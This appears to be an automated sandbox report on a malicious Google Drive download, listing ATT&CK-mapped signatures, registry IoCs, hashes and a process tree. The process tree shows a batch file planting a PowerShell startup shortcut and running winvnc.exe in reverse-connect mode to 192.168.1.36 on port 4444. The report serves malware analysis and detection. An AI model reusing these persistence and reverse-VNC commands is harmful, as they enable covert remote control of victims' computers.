hxxps://drive[.]google[.]com/drive/folders/1NVzGGH4q1Le3efqdY71-pMTbQQc_hcn2?usp=sharing

Reason

Machine shutdown

General

Target

https://drive.google.com/drive/folders/1NVzGGH4q1Le3efqdY71-pMTbQQc_hcn2?usp=sharing

Score

7^/10

Malware Config

Signatures

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.bat.lnk	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs

Web Service

T1102

flow	ioc
142	drive.google.com
181	drive.google.com
5	drive.google.com
6	drive.google.com
7	drive.google.com
10	drive.google.com
141	drive.google.com
14	drive.google.com
147	drive.google.com
180	drive.google.com

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3056	timeout.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "66"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
4584	powershell.exe
4584	powershell.exe
4584	powershell.exe
4616	winvnc.exe
4616	winvnc.exe
4616	winvnc.exe
4616	winvnc.exe
2796	winvnc.exe
2796	winvnc.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4584	powershell.exe
Token: SeDebugPrivilege	1964	taskmgr.exe
Token: SeSystemProfilePrivilege	1964	taskmgr.exe
Token: SeCreateGlobalPrivilege	1964	taskmgr.exe

Suspicious use of FindShellTrayWindow 48 IoCs

pid	Process
4616	winvnc.exe
4616	winvnc.exe
4616	winvnc.exe
4616	winvnc.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
4616	winvnc.exe
4616	winvnc.exe
1964	taskmgr.exe

Suspicious use of SendNotifyMessage 47 IoCs

pid	Process
4616	winvnc.exe
4616	winvnc.exe
4616	winvnc.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
1964	taskmgr.exe
4616	winvnc.exe
4616	winvnc.exe
1964	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5388	LogonUI.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1336 wrote to memory of 4584	1336	cmd.exe	114
PID 1336 wrote to memory of 4584	1336	cmd.exe	114
PID 1336 wrote to memory of 4616	1336	cmd.exe	116
PID 1336 wrote to memory of 4616	1336	cmd.exe	116
PID 1336 wrote to memory of 3056	1336	cmd.exe	117
PID 1336 wrote to memory of 3056	1336	cmd.exe	117
PID 1336 wrote to memory of 2796	1336	cmd.exe	118
PID 1336 wrote to memory of 2796	1336	cmd.exe	118

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://drive.google.com/drive/folders/1NVzGGH4q1Le3efqdY71-pMTbQQc_hcn2?usp=sharing
1⤵
PID:3348

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --field-trial-handle=5000,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=4400 /prefetch:1
1⤵
PID:1332

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --field-trial-handle=5108,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=4704 /prefetch:1
1⤵
PID:212

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --field-trial-handle=4396,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:1
1⤵
PID:644

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=5428,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:8
1⤵
PID:1960

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --field-trial-handle=5628,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=3792 /prefetch:8
1⤵
PID:3720

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --field-trial-handle=6044,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=6096 /prefetch:2
1⤵
PID:3544

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --field-trial-handle=6296,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:1
1⤵
PID:1336

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --field-trial-handle=6500,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:8
1⤵
PID:3352

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --field-trial-handle=6796,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=6832 /prefetch:1
1⤵
PID:3680

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --field-trial-handle=6628,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:8
1⤵
PID:4804

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --field-trial-handle=6432,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:1
1⤵
PID:2040

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --lang=en-US --service-sandbox-type=service --field-trial-handle=6840,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:8
1⤵
PID:4852

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --field-trial-handle=7248,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=7300 /prefetch:8
1⤵
PID:3520

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\client-20240808T200910Z-001\client\main.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:1336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "$s=(New-Object -COM WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.bat.lnk');$s.TargetPath='C:\Users\Admin\Downloads\client-20240808T200910Z-001\client\main.bat';$s.Save()"
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4584
- C:\Users\Admin\Downloads\client-20240808T200910Z-001\client\winvnc.exe
  winvnc.exe -run
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4616
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:3056
- C:\Users\Admin\Downloads\client-20240808T200910Z-001\client\winvnc.exe
  winvnc.exe -connect 192.168.1.36::4444
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2796

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --field-trial-handle=7360,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:8
1⤵
PID:1400

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1964

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa388a055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5388

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
1⤵
PID:5724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4cqiihdm.fg2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.bat.lnk

Filesize
901B

MD5
1c43b1d18a7eb18e9bc94cdef5cafc12

SHA1
1c092f4032e3fdfd8218541abd5c0d6cd6f8de12

SHA256
28c7931360dce33345fa67ad5ec0560ded60e18a7514f670a5b019a902cabc31

SHA512
be2683a5bb1473acfb2e8b02b413339ec80573597d076ddd2a6a3068728695e8617b47d3705ee16d4a1bf4d1390ce4586124d3a8d486f445057c6e80768153b8

Download Submit
memory/1964-26-0x000001BAD3DB0000-0x000001BAD3DB1000-memory.dmp

Filesize
4KB

Download
memory/1964-29-0x000001BAD3DB0000-0x000001BAD3DB1000-memory.dmp

Filesize
4KB

Download
memory/1964-23-0x000001BAD3DB0000-0x000001BAD3DB1000-memory.dmp

Filesize
4KB

Download
memory/1964-24-0x000001BAD3DB0000-0x000001BAD3DB1000-memory.dmp

Filesize
4KB

Download
memory/1964-19-0x000001BAD3DB0000-0x000001BAD3DB1000-memory.dmp

Filesize
4KB

Download
memory/1964-18-0x000001BAD3DB0000-0x000001BAD3DB1000-memory.dmp

Filesize
4KB

Download
memory/1964-17-0x000001BAD3DB0000-0x000001BAD3DB1000-memory.dmp

Filesize
4KB

Download
memory/1964-25-0x000001BAD3DB0000-0x000001BAD3DB1000-memory.dmp

Filesize
4KB

Download
memory/1964-28-0x000001BAD3DB0000-0x000001BAD3DB1000-memory.dmp

Filesize
4KB

Download
memory/1964-27-0x000001BAD3DB0000-0x000001BAD3DB1000-memory.dmp

Filesize
4KB

Download
memory/4584-0-0x00007FFC73573000-0x00007FFC73575000-memory.dmp

Filesize
8KB

Download
memory/4584-11-0x00007FFC73570000-0x00007FFC74031000-memory.dmp

Filesize
10.8MB

Download
memory/4584-16-0x00007FFC73570000-0x00007FFC74031000-memory.dmp

Filesize
10.8MB

Download
memory/4584-12-0x00007FFC73570000-0x00007FFC74031000-memory.dmp

Filesize
10.8MB

Download
memory/4584-6-0x000001D3F2EE0000-0x000001D3F2F02000-memory.dmp

Filesize
136KB

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads